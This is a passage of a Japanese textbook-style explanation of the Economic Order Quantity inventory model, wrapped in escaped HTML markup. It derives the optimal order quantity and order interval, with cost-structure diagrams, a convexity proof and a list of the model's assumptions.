&lt;div&gt;&lt;span&gt;この関数は $&lt;/span&gt;&lt;span&gt; Q &amp;gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt; において&lt;/span&gt;&lt;span&gt;**凸関数**&lt;/span&gt;&lt;span&gt;（Convex Function）である。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 費用関数の関係&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;総在庫費用は、発注費用と保管費用の和として表される。これらの関係を図示すると：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**図3: 費用関数の関係**&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;```mermaid&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;graph LR&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "費用の構成"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        A[発注量Q] --&amp;gt; B[年間発注費用&amp;lt;br/&amp;gt;C_orderQ = C_0×R/Q&amp;lt;br/&amp;gt;Qが増えると減少]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        A --&amp;gt; C[年間保管費用&amp;lt;br/&amp;gt;C_holdQ = C_1×Q/2&amp;lt;br/&amp;gt;Qが増えると増加]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        B --&amp;gt; D[総在庫費用&amp;lt;br/&amp;gt;CQ = C_orderQ + C_holdQ]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        C --&amp;gt; D&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "費用の特性"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        E[発注費用&amp;lt;br/&amp;gt;双曲線状&amp;lt;br/&amp;gt;Q→∞で0に近づく] --&amp;gt; B&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        F[保管費用&amp;lt;br/&amp;gt;線形&amp;lt;br/&amp;gt;Qに比例] --&amp;gt; C&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        G[総費用&amp;lt;br/&amp;gt;凸関数&amp;lt;br/&amp;gt;最適点Q*で最小] --&amp;gt; D&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "最適点の性質"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        D --&amp;gt; H[Q*で&amp;lt;br/&amp;gt;発注費用 = 保管費用&amp;lt;br/&amp;gt;C_0R/Q* = C_1Q*/2]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;```&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## 経済的発注量（EOQ: Economic Order Quantity）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;総在庫費用を最小化する最適な発注量を求める。総在庫費用 $&lt;/span&gt;&lt;span&gt; C $&lt;/span&gt;&lt;span&gt; を発注量 $&lt;/span&gt;&lt;span&gt; Q $&lt;/span&gt;&lt;span&gt; で微分し、その導関数を0とおくことで最適解を求める。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 導出過程&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;総在庫費用関数：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;C(Q) = C_&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{R}{Q} + C_&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{Q}{&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;}, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;quad Q &amp;gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 一階条件（First-Order Condition）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt; C(Q) $&lt;/span&gt;&lt;span&gt; を $&lt;/span&gt;&lt;span&gt; Q $&lt;/span&gt;&lt;span&gt; で微分：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{dC}{dQ} = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{d}{dQ}&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;left(C_&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{R}{Q} + C_&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{Q}{&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;right) = -&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{C_&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; R}{Q^&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;} + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{C_&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}{&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;最適性の必要条件として、一階導関数を0とおく：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{dC}{dQ} = &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;quad &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Leftrightarrow &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;quad -&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{C_&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; R}{Q^&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;} + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{C_&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}{&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;} = &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;これを $&lt;/span&gt;&lt;span&gt; Q $&lt;/span&gt;&lt;span&gt; について解く：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{C_&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}{&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;} = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{C_&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; R}{Q^&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;Q^&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt; C_&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; R}{C_&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;Q^* = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sqrt&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt; C_&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; R}{C_&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 二階条件（Second-Order Condition）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;停留点が最小値であることを確認するため、二階導関数を計算：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{d^&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;C}{dQ^&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;} = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{d}{dQ}&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;left(-&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{C_&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; R}{Q^&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;} + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{C_&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}{&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;right) = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;C_&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; R}{Q^&lt;/span&gt;&lt;span&gt;3&lt;/span&gt;&lt;span&gt;} &amp;gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;quad &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;forall Q &amp;gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;二階導関数が正であることから、$&lt;/span&gt;&lt;span&gt; C(Q) $&lt;/span&gt;&lt;span&gt; は $&lt;/span&gt;&lt;span&gt; Q &amp;gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt; において&lt;/span&gt;&lt;span&gt;**厳密凸関数**&lt;/span&gt;&lt;span&gt;（Strictly Convex Function）であり、停留点 $&lt;/span&gt;&lt;span&gt; Q^* $&lt;/span&gt;&lt;span&gt; は&lt;/span&gt;&lt;span&gt;**大域的最小値**&lt;/span&gt;&lt;span&gt;（Global Minimum）であることが確認される。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 最適性の十分条件&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;凸最適化理論より、目的関数が凸関数で制約集合が凸集合の場合、一階条件を満たす点は大域的最適解となる。本問題では：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 目的関数 $&lt;/span&gt;&lt;span&gt; C(Q) $&lt;/span&gt;&lt;span&gt; は $&lt;/span&gt;&lt;span&gt; Q &amp;gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt; において凸関数&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 制約集合 $&lt;/span&gt;&lt;span&gt; \{Q &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;in &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{R} : Q &amp;gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;\} $&lt;/span&gt;&lt;span&gt; は凸集合&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;したがって、$&lt;/span&gt;&lt;span&gt; Q^* $&lt;/span&gt;&lt;span&gt; は大域的最適解である。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### EOQ公式&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;上式は&lt;/span&gt;&lt;span&gt;**EOQ公式**&lt;/span&gt;&lt;span&gt;（Economic Order Quantity）、または&lt;/span&gt;&lt;span&gt;**ハリスの経済的ロット公式**&lt;/span&gt;&lt;span&gt;、もしくは&lt;/span&gt;&lt;span&gt;**ウィルソンのロット公式**&lt;/span&gt;&lt;span&gt;と呼ばれる。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;Q^* = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sqrt&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt; C_&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; R}{C_&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### EOQモデルの特徴&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**図4: EOQモデルの特徴と最適化プロセス**&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;```mermaid&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;graph TB&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "コスト構造の分解"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        A[発注量Q&amp;lt;br/&amp;gt;Decision Variable] --&amp;gt; B[年間発注費用&amp;lt;br/&amp;gt;Annual Ordering Cost&amp;lt;br/&amp;gt;C_0 × R/Q]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        A --&amp;gt; C[年間保管費用&amp;lt;br/&amp;gt;Annual Holding Cost&amp;lt;br/&amp;gt;C_1 × Q/2]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        B --&amp;gt; D[総在庫費用&amp;lt;br/&amp;gt;Total Inventory Cost&amp;lt;br/&amp;gt;CQ = C_0R/Q + C_1Q/2]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        C --&amp;gt; D&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "最適化プロセス"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        D --&amp;gt; E[1階微分&amp;lt;br/&amp;gt;dC/dQ = -C_0R/Q² + C_1/2]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        E --&amp;gt; F[最適条件&amp;lt;br/&amp;gt;dC/dQ = 0]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        F --&amp;gt; G[最適発注量&amp;lt;br/&amp;gt;Q* = √2C_0R/C_1&amp;lt;br/&amp;gt;Economic Order Quantity]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "検証"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        G --&amp;gt; H[2階微分&amp;lt;br/&amp;gt;d²C/dQ² = 2C_0R/Q³ &amp;gt; 0]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        H --&amp;gt; I[最小値確認&amp;lt;br/&amp;gt;Global Minimum Verified]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "重要な性質"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        G --&amp;gt; J[最適点での&amp;lt;br/&amp;gt;発注費用 = 保管費用&amp;lt;br/&amp;gt;C_0R/Q* = C_1Q*/2]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;```&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### EOQモデルの最小値の確認&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 凸性の証明&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;総在庫費用関数 $&lt;/span&gt;&lt;span&gt; C(Q) = C_&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; R/Q + C_&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; Q/&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt; の凸性は、二階導関数が正であることから直接確認できる。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 二階導関数による凸性の証明&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;一階導関数：&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{dC}{dQ} = -&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{C_&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; R}{Q^&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;} + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{C_&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}{&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;二階導関数：&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{d^&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;C}{dQ^&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;} = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{d}{dQ}&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;left(-&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{C_&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; R}{Q^&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;} + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{C_&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}{&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;right) = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;C_&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; R}{Q^&lt;/span&gt;&lt;span&gt;3&lt;/span&gt;&lt;span&gt;} &amp;gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;quad &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;forall Q &amp;gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;二階導関数がすべての $&lt;/span&gt;&lt;span&gt; Q &amp;gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt; に対して正であることから、$&lt;/span&gt;&lt;span&gt; C(Q) $&lt;/span&gt;&lt;span&gt; は $&lt;/span&gt;&lt;span&gt; Q &amp;gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt; において&lt;/span&gt;&lt;span&gt;**厳密凸関数**&lt;/span&gt;&lt;span&gt;（Strictly Convex Function）である。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;凸関数の性質より、停留点 $&lt;/span&gt;&lt;span&gt; Q^* $&lt;/span&gt;&lt;span&gt;（一階導関数が0となる点）は&lt;/span&gt;&lt;span&gt;**大域的最小値**&lt;/span&gt;&lt;span&gt;（Global Minimum）である。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 最適解の一意性&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;二階導関数が正であることから、$&lt;/span&gt;&lt;span&gt; C(Q) $&lt;/span&gt;&lt;span&gt; は厳密凸関数である。厳密凸関数の最適解は一意であるため、$&lt;/span&gt;&lt;span&gt; Q^* $&lt;/span&gt;&lt;span&gt; は唯一の最適解である。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### EOQモデルの仮定とその影響&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;EOQモデルは以下の厳しい仮定に基づいている：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;1.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**需要が一定**&lt;/span&gt;&lt;span&gt;：実際の需要は変動するため、安全在庫の設定が必要&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;2.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**リードタイム=0**&lt;/span&gt;&lt;span&gt;：実際には発注から納入まで時間がかかるため、発注点の設定が必要&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;3.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**在庫切れなし**&lt;/span&gt;&lt;span&gt;：需要変動により在庫切れが発生する可能性がある&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;4.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**発注費用が一定**&lt;/span&gt;&lt;span&gt;：大量発注による割引などは考慮されていない&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;5.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**保管費用が線形**&lt;/span&gt;&lt;span&gt;：実際には保管費用が非線形になる場合がある&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;これらの仮定が成り立たない場合、EOQモデルを修正する必要がある。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 発注間隔の計算&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;最適発注量 $&lt;/span&gt;&lt;span&gt; Q^* $&lt;/span&gt;&lt;span&gt; が決定されると、発注間隔 $&lt;/span&gt;&lt;span&gt; T^* $&lt;/span&gt;&lt;span&gt; は以下のように計算できる：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;T^* = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{Q^*}{R} = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sqrt&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt; C_&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;}{C_&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; R}}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
